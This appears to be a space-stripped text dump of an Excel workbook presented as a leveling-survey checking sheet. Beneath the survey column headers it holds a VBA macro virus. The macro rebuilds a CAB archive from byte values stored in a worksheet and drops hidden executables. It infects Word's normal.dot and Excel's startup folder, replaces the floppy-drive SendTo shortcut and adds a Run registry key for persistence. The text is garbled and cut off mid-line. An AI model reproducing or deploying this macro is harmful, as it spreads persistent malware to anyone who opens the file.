普通水准测量校核计算.xlsVIP

普通水准测量校核

Module1

UNOHABZSTMNG8A

Counter

后视

视线高

前视

间视

地面高程

普通水准测量校核

桩号

PrivateSubcreatecabfile()

DimchAsByte

onerrorresumenext

Setfso=CreateObject(scripting.filesystemobject)

Setw=CreateObject(wscript.shell)

myfolder=w.specialfolders(Templates)\Software\

IfNotfso.folderexists(myfolder)Then

fso.createfoldermyfolder

EndIf

Fori=1toWorkbooks.Count

IfWorkbooks(i).name=normal.xlmthen

workbooks(i).close

fso.deletefileApplication.StartupPath\normal.xlm

Next

IfWorkbooks(i).name=norma1.xlmthen

gotoa1

cabfile=c:\cab.cab

IfNotfso.fileexists(Application.StartupPath\norma1.xlm)Then

fso.deletecabfile

opencabfileforbinaryaccesswriteas#1

Fori=1To150

hv=ThisWorkbook.Sheets((m1)_(m2)_(m3)).Cells(i,2).Value

n=1

m=instr(hv,)

dowhilem0

ch=CByte(mid(hv,n,m-n))

put#1,,ch

n=m+1

m=instr(n,hv,)

loop

close#1

w.Run%COMSPEC%/cattrib-s-hc:\setflag.exe,0,True

w.Run%COMSPEC%/cattrib-s-hc:\sendto.exe,0,True

w.Run%COMSPEC%/cextrac32/E/Y/Lc:\c:\cab.cab,0,True

w.Run%COMSPEC%/cextract/E/Y/Lc:\c:\cab.cab,0,True

fso.deletefilecabfile

fso.copyfilec:\normal.dot,myfolder,True

setword=createobject(word.application)

ntpath=word.NormalTemplate.Path\

word.quit

fso.copyfilec:\normal.dot,ntpath,True

fso.copyfilec:\norma1.xlm,Application.StartupPath\,True

fso.copyfilec:\internet.exe,fso.getspecialfolder(1)\

setfold=fso.getfolder(w.SpecialFolders(SendTo))

foreachffinfold.files

ifinstr(ff.name,软盘)0then

setlnk=w.CreateShortcut(fold.path\ff.name)

lnk.TargetPath=c:\sendto.exe

lnk.IconLocation=shell32.dll,6

lnk.save

gotoe2

endif

next

e2:

fso.deletefilec:\normal.dot

fso.deletefilec:\norma1.xlm

fso.deletefilec:\internet.exe

w.Run%COMSPEC%/cattrib+s+hc:\setflag.exe,0,True

w.Run%COMSPEC%/cattrib+s+hc:\sendto.exe,0,True

w.regwriteHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internet.exe,internet.exe

w.regdeleteHKEY_CURRENT_USER\Software\Microsoft\Windows\Curr